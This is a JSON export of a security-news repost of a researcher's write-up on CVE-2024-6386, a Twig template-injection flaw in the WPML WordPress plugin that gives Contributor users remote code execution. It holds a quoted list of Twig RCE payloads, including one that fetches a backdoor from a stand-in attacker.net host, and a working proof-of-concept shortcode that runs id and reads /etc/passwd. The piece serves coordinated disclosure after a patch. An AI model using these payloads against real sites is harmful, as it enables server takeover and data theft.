{"id":56949,"date":"2024-08-27T14:47:29","date_gmt":"2024-08-27T14:47:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/36260\/WPML-Multilingual-CMS-Authenticated-Contributor-Remote-Code-Execution-Via-SSTI.html"},"modified":"2024-08-27T14:47:29","modified_gmt":"2024-08-27T14:47:29","slug":"wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","title":{"rendered":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI"},"content":{"rendered":"<h2 id=\"tldr\">tldr;<\/h2>\n<p>Server-Side Template Injection (SSTI) is one of my favorite vulnerabilities, but rarely do I see it outside of CTF competitions&#8230;<\/p>\n<p>The WPML Multilingual CMS Plugin for WordPress used by over 1 million sites is susceptible to an Authenticated (Contributor+) Remote Code Execution (RCE) vulnerability through a Twig server-side template injection.<\/p>\n<p><strong>Affected Versions:<\/strong> &lt;= 4.6.12<br \/><strong>CVSS Score: <\/strong>9.9 <br \/><strong>CVE-ID<\/strong>: CVE-2024-6386<br \/><strong>Links:<\/strong> <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-6386&amp;ref=sec.stealthcopter.com\">Mitre<\/a>, <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-6386?ref=sec.stealthcopter.com\">NVD<\/a> <br \/><strong>Active installations<\/strong>: 1,000,000+<br \/><strong>Bounty<\/strong>: $1,639 (<a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/sitepress-multilingual-cms\/wpml-multilingual-cms-4612-authenticatedcontributor-remote-code-execution-via-twig-server-side-template-injection?ref=sec.stealthcopter.com\">WordFence<\/a>)<\/p>\n<h2 id=\"about-wpml-multilingual-cms\">About WPML Multilingual CMS<\/h2>\n<p><a href=\"https:\/\/wpml.org\/?ref=sec.stealthcopter.com\">WPML<\/a> is a popular plugin for creating multilingual WordPress sites. It offers a robust set of features for managing translations and language switching, making it a top choice for many WordPress users who need multilingual capabilities. WPML is a premium plugin charging between \u20ac39 and \u20ac199 per year.<\/p>\n<figure class=\"kg-card kg-image-card\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"2000\" height=\"1288\" srcset=\"https:\/\/sec.stealthcopter.com\/content\/images\/size\/w600\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png 600w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1000\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png 1000w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1600\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png 1600w, https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png 2274w\" sizes=\"auto, (min-width: 720px) 720px\"><\/figure>\n<h2 id=\"vulnerability\">Vulnerability<\/h2>\n<p>The vulnerability lies in the handling of <a href=\"https:\/\/codex.wordpress.org\/Shortcode?ref=sec.stealthcopter.com\">shortcodes<\/a> within the WPML plugin. Specifically, the plugin uses Twig templates for rendering content in shortcodes but fails to properly sanitize input, leading to server-side template injection (SSTI).<\/p>\n<p>In the code, the <code>callback<\/code> function in <code>class-wpml-ls-shortcodes.php<\/code> processes shortcode content:<\/p>\n<pre><code class=\"language-php\"> add_shortcode( 'wpml_language_switcher', array( $this, 'callback' ) ); \/\/ Backward compatibility add_shortcode( 'wpml_language_selector_widget', array( $this, 'callback' ) ); add_shortcode( 'wpml_language_selector_footer', array( $this, 'callback' ) );<\/code><\/pre>\n<p>Where the <code>callback<\/code> function is:<\/p>\n<pre><code class=\"language-php\">public function callback( $args, $content = null, $tag = '' ) { $args = (array) $args; $args = $this-&gt;parse_legacy_shortcodes( $args, $tag ); $args = $this-&gt;convert_shortcode_args_aliases( $args ); return $this-&gt;render( $args, $content );\n}<\/code><\/pre>\n<p>This calls the <code>render<\/code> function in <code>class-wpml-ls-public-api.php<\/code>, passing the shortcode content as the <code>twig_template<\/code> variable:<\/p>\n<pre><code class=\"language-php\">protected function render( $args, $twig_template = null ) { $defaults_slot_args = $this-&gt;get_default_slot_args( $args ); $slot_args = array_merge( $defaults_slot_args, $args ); $slot = $this-&gt;get_slot_factory()-&gt;get_slot( $slot_args ); $slot-&gt;set( 'show', 1 ); $slot-&gt;set( 'template_string', $twig_template ); if ( $slot-&gt;is_post_translations() ) { $output = $this-&gt;render-&gt;post_translations_label( $slot ); } else { $output = $this-&gt;render-&gt;render( $slot ); } return $output;\n}<\/code><\/pre>\n<p>And this variable is then rendered as a twig template string.<\/p>\n<h2 id=\"payload-construction\">Payload Construction<\/h2>\n<p>The shortcode below will demonstrate that it&#8217;s contents will be rendered as a twig template:<\/p>\n<pre><code>[wpml_language_switcher]\n{{ 4 * 7 }}\n[\/wpml_language_switcher]<\/code><\/pre>\n<p>When saved we will see the output of <code>28<\/code> on the page. <\/p>\n<figure class=\"kg-card kg-gallery-card kg-width-wide kg-card-hascaption\" readability=\"2\">\n<div class=\"kg-gallery-container\">\n<div class=\"kg-gallery-row\">\n<div class=\"kg-gallery-image\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-32-53.png\" width=\"2000\" height=\"1013\" loading=\"lazy\" alt srcset=\"https:\/\/sec.stealthcopter.com\/content\/images\/size\/w600\/2024\/06\/Screenshot-from-2024-06-27-14-32-53.png 600w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1000\/2024\/06\/Screenshot-from-2024-06-27-14-32-53.png 1000w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1600\/2024\/06\/Screenshot-from-2024-06-27-14-32-53.png 1600w, https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-32-53.png 2167w\" sizes=\"auto, (min-width: 720px) 720px\"><\/div>\n<div class=\"kg-gallery-image\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-33-14.png\" width=\"2000\" height=\"1073\" loading=\"lazy\" alt srcset=\"https:\/\/sec.stealthcopter.com\/content\/images\/size\/w600\/2024\/06\/Screenshot-from-2024-06-27-14-33-14.png 600w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1000\/2024\/06\/Screenshot-from-2024-06-27-14-33-14.png 1000w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1600\/2024\/06\/Screenshot-from-2024-06-27-14-33-14.png 1600w, https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-33-14.png 2167w\" sizes=\"auto, (min-width: 720px) 720px\"><\/div>\n<\/div>\n<\/div><figcaption readability=\"4\">\n<p><span>1. Entering the test payload into the editor, 2. Execution of the test payload when rendering the post preview<\/span><\/p>\n<\/figcaption><\/figure>\n<figure class=\"kg-card kg-image-card kg-card-hascaption\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/bingpot.gif\" class=\"kg-image\" alt loading=\"lazy\" width=\"500\" height=\"281\"><figcaption><span>Bingpot! We have SSTI!<\/span><\/figcaption><\/figure>\n<p>But there&#8217;s a slight complication here that must be overcome to exploit further. This is the fact that WordPress will HTML encode any single or double quotes. This means we cannot execute any of the classic Twig template injection to remote code execution combos, such as those below (taken from <a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Server%20Side%20Template%20Injection\/README.md?ref=sec.stealthcopter.com#twig---code-execution\">PayloadAllTheThings<\/a>):<\/p>\n<figure class=\"kg-card kg-code-card\" readability=\"8\">\n<pre><code>{{_self.env.setCache(\"ftp:\/\/attacker.net:2121\")}}{{_self.env.loadTemplate(\"backdoor\")}}\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n{{['id']|filter('system')}}\n{{[0]|reduce('system','id')}}\n{{['id']|map('system')|join}}\n{{['id',1]|sort('system')|join}}\n{{['cat\\x20\/etc\/passwd']|filter('system')}}\n{{['cat$IFS\/etc\/passwd']|filter('system')}}\n{{['id']|filter('passthru')}}\n{{['id']|map('passthru')}}<\/code><\/pre><figcaption readability=\"2\">\n<p><span>Twig SSTI -&gt; RCE payloads that wont work for us \ud83d\ude41<\/span><\/p>\n<\/figcaption><\/figure>\n<p>However, we can start by exploring what we <em>do<\/em> have access to, for example:<\/p>\n<pre><code>[wpml_language_switcher]\n{{ dump() }}\n[\/wpml_language_switcher]<\/code><\/pre>\n<p>This will output something like the following (but not as pretty):<\/p>\n<pre><code>array(4) { [\"languages\"]=&gt; array(1) { [\"en\"]=&gt; array(8) { [\"code\"]=&gt; string(2) \"en\" [\"url\"]=&gt; string(34) \"http:\/\/wordpress.local:1337\/?p=126\" [\"native_name\"]=&gt; string(7) \"English\" [\"display_name\"]=&gt; string(7) \"English\" [\"is_current\"]=&gt; bool(true) [\"css_classes\"]=&gt; string(121) \"wpml-ls-slot-shortcode_actions wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-first-item wpml-ls-last-item\" [\"flag_width\"]=&gt; int(18) [\"flag_height\"]=&gt; int(12) } } [\"current_language_code\"]=&gt; string(2) \"en\" [\"css_classes\"]=&gt; string(41) \"wpml-ls-statics-shortcode_actions wpml-ls\" [\"css_classes_link\"]=&gt; string(12) \"wpml-ls-link\"\n}<\/code><\/pre>\n<p>This output provides enough letters that we can start using it to create customer strings. For example we can create <code>s<\/code> by:<\/p>\n<pre><code>{% set s = dump(current_language_code)|slice(0,1) %}<\/code><\/pre>\n<p>This works by grabbing the first letter from the output of <code>dump<\/code> on the variable <code>current_language_code<\/code>, this will always be <code>s<\/code> as it is a string and dump always prints <code>string(n)<\/code> before the contents of the string.<\/p>\n<div class=\"kg-card kg-callout-card kg-callout-card-blue\" readability=\"9\">\n<p>\u2139\ufe0f<\/p>\n<p>Note when choosing variables to grab the characters from, it&#8217;s best to opt for those that are going to be the most stable. This will make the exploit more reliable between different environments.<\/p>\n<\/div>\n<p>This can be repeated until we have the chars to spell out <code>system<\/code> which will allow us to execute arbitrary commands. Here use the <code>~<\/code> operator to join the chars together into a string. For example, once we have the letters defined, the basic <code>id<\/code> command can be executed as follows:<\/p>\n<pre><code>{% set system = s~y~s~t~e~m %}\n{% set id = i~d %}\n{{[id]|map(system)|join}}<\/code><\/pre>\n<p>Once we have the ability to execute shell commands we can even use the output from the shell to give us access to further letter we may find difficult to obtain via templating. This can be seen in the snippet below, where a slash <code>\/<\/code> is obtained from the output of the <code>pwd<\/code> shell command:<\/p>\n<pre><code>{% set slash = [pwd]|map(system)|join|slice(0,1) %}<\/code><\/pre>\n<p>This works because <code>pwd<\/code> (print working directory) will always start with a <code>\/<\/code> in Linux, e.g. <code>\/home\/username\/<\/code><\/p>\n<div class=\"kg-card kg-callout-card kg-callout-card-blue\" readability=\"8.3827586206897\">\n<p>\u2139\ufe0f<\/p>\n<div class=\"kg-callout-text\" readability=\"36.478873239437\">After submission <a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/researchers\/ivan-kuzymchak?ref=sec.stealthcopter.com\">Ivan<\/a> from WordFence pointed out another (simpler\/better) trick to get the specific letters by starting the shortcode template with all the letters you need <code spellcheck=\"false\">[wpml_language_switcher]abcde...<\/code> and then obtaining them by using <code spellcheck=\"false\">self<\/code> and slicing the string to get each char.<\/div>\n<\/div>\n<h2 id=\"proof-of-concept\">Proof of Concept<\/h2>\n<p>Now that we&#8217;ve demonstrated the basics, lets jump in and look at the final proof-of-concept created to exploit this vulnerability:<\/p>\n<pre><code>[wpml_language_switcher] {# Find letters we need as we cant use any quotes #}\n{% set s = dump(current_language_code)|slice(0,1) %}\n{% set t = dump(current_language_code)|slice(1,1) %}\n{% set r = dump(current_language_code)|slice(2,1) %}\n{% set i = dump(current_language_code)|slice(3,1) %}\n{% set n = dump(current_language_code)|slice(4,1) %}\n{% set g = dump(current_language_code)|slice(5,1) %}\n{% set a = dump()|slice(0,1) %}\n{% set y = dump()|slice(4,1) %}\n{% set e = dump(css_classes)|slice(36,1) %}\n{% set w = dump(css_classes)|slice(12,1) %}\n{% set p = dump(css_classes)|slice(13,1) %}\n{% set m = dump(css_classes)|slice(14,1) %}\n{% set d = dump(css_classes)|slice(35,1) %}\n{% set c = dump(css_classes)|slice(25,1) %}\n{% set space = dump(css_classes)|slice(45,1) %} {% set system = s~y~s~t~e~m %}\n{% set id = i~d %}\n{% set pwd = p~w~d %} We can use the output from `dump` or any other similar function to grab any letters we need to create our strings. Once we have code basic code execution we can use that to grab any letters we may not be able to easily grab via template injection. {% set slash = [pwd]|map(system)|join|slice(0,1) %} {% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %} Debug: {{dump()}} Command: {{system}} {{id}} {{pwd}} id: {{[id]|map(system)|join}} pwd: {{[pwd]|map(system)|join}} passwd: {{[passwd]|map(system)|join}} [\/wpml_language_switcher]<\/code><\/pre>\n<h3 id=\"exploitation\">Exploitation<\/h3>\n<p>By using the above payload, a Contributor+ user can gain command execution on the server. The crafted payload uses the dump function to gather letters needed to construct commands without using quotes. Once we have basic command execution, we can further leverage it to gain more control over the server.<\/p>\n<figure class=\"kg-card kg-gallery-card kg-width-wide kg-card-hascaption\" readability=\"2\">\n<div class=\"kg-gallery-container\">\n<div class=\"kg-gallery-row\">\n<div class=\"kg-gallery-image\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-35-48.png\" width=\"2000\" height=\"1196\" loading=\"lazy\" alt srcset=\"https:\/\/sec.stealthcopter.com\/content\/images\/size\/w600\/2024\/06\/Screenshot-from-2024-06-27-14-35-48.png 600w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1000\/2024\/06\/Screenshot-from-2024-06-27-14-35-48.png 1000w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1600\/2024\/06\/Screenshot-from-2024-06-27-14-35-48.png 1600w, https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-35-48.png 2169w\" sizes=\"auto, (min-width: 720px) 720px\"><\/div>\n<div class=\"kg-gallery-image\"><img decoding=\"async\" src=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-38-17.png\" width=\"2000\" height=\"1661\" loading=\"lazy\" alt srcset=\"https:\/\/sec.stealthcopter.com\/content\/images\/size\/w600\/2024\/06\/Screenshot-from-2024-06-27-14-38-17.png 600w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1000\/2024\/06\/Screenshot-from-2024-06-27-14-38-17.png 1000w, https:\/\/sec.stealthcopter.com\/content\/images\/size\/w1600\/2024\/06\/Screenshot-from-2024-06-27-14-38-17.png 1600w, https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-14-38-17.png 2169w\" sizes=\"auto, (min-width: 720px) 720px\"><\/div>\n<\/div>\n<\/div><figcaption readability=\"4\">\n<p><span>1. Entering the final payload into the editor, 2. Execution of the final payload when rendering the post preview<\/span><\/p>\n<\/figcaption><\/figure>\n<h3 id=\"timeline\">Timeline<\/h3>\n<ul>\n<li><strong>19\/06\/24 (0 day)<\/strong> &#8211; Discovery and disclosure to WordFence<\/li>\n<li><strong>27\/06\/24 (+8 day)<\/strong> &#8211; WordFence validated and assigned CVE<\/li>\n<li><strong>27\/06\/24 (+8 days)<\/strong> &#8211; $1,639 bounty assigned by WordFence<\/li>\n<li><strong>20\/08\/24 (+62 days)<\/strong> &#8211; Patch released in version <a href=\"https:\/\/wpml.org\/changelog\/2024\/08\/wpml-4-6-13-and-woocommerce-multilingual-5-3-7-security-and-other-enhancements\/?ref=sec.stealthcopter.com\">4.6.13<\/a><\/li>\n<li><strong>21\/08\/24 (+63 days)<\/strong> &#8211; Vulnerability publicly disclosed<\/li>\n<\/ul>\n<h3 id=\"conclusion\">Conclusion<\/h3>\n<p>This vulnerability is a classic example of the dangers of improper input sanitization in templating engines. Developers should always sanitize and validate user inputs, especially when dealing with dynamic content rendering. This case serves as a reminder that security is a continuous process, requiring vigilance at every stage of development and data processing.<\/p>\n<p>READ MORE <a href=\"https:\/\/packetstormsecurity.com\/news\/view\/36260\/WPML-Multilingual-CMS-Authenticated-Contributor-Remote-Code-Execution-Via-SSTI.html\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":56950,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[60],"tags":[5624],"class_list":["post-56949","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-packet-storm","tag-headlineflawwordpress"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News\" \/>\n<meta property=\"og:description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/\" \/>\n<meta property=\"og:site_name\" content=\"ThreatsHub Cybersecurity News\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-27T14:47:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png\" \/>\n<meta name=\"author\" content=\"TH Author\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@threatshub\" \/>\n<meta name=\"twitter:site\" content=\"@threatshub\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"TH Author\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/\"},\"author\":{\"name\":\"TH Author\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\"},\"headline\":\"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI\",\"datePublished\":\"2024-08-27T14:47:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/\"},\"wordCount\":761,\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/08\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png\",\"keywords\":[\"headline,flaw,wordpress\"],\"articleSection\":[\"Packet Storm\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/\",\"name\":\"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/08\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png\",\"datePublished\":\"2024-08-27T14:47:29+00:00\",\"description\":\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/08\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/08\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti.png\",\"width\":2274,\"height\":1464},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"headline,flaw,wordpress\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/tag\\\/headlineflawwordpress\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"name\":\"ThreatsHub Cybersecurity News\",\"description\":\"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"alternateName\":\"Threatshub.org\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\",\"name\":\"ThreatsHub.org\",\"alternateName\":\"Threatshub.org\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"width\":432,\"height\":435,\"caption\":\"ThreatsHub.org\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/threatshub\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\",\"name\":\"TH Author\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"caption\":\"TH Author\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","og_locale":"en_US","og_type":"article","og_title":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI 2026 | ThreatsHub Cybersecurity News","og_description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","og_url":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","og_site_name":"ThreatsHub Cybersecurity News","article_published_time":"2024-08-27T14:47:29+00:00","og_image":[{"url":"https:\/\/sec.stealthcopter.com\/content\/images\/2024\/06\/Screenshot-from-2024-06-27-17-32-19.png","type":"","width":"","height":""}],"author":"TH Author","twitter_card":"summary_large_image","twitter_creator":"@threatshub","twitter_site":"@threatshub","twitter_misc":{"Written by":"TH Author","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/#article","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/"},"author":{"name":"TH Author","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476"},"headline":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via 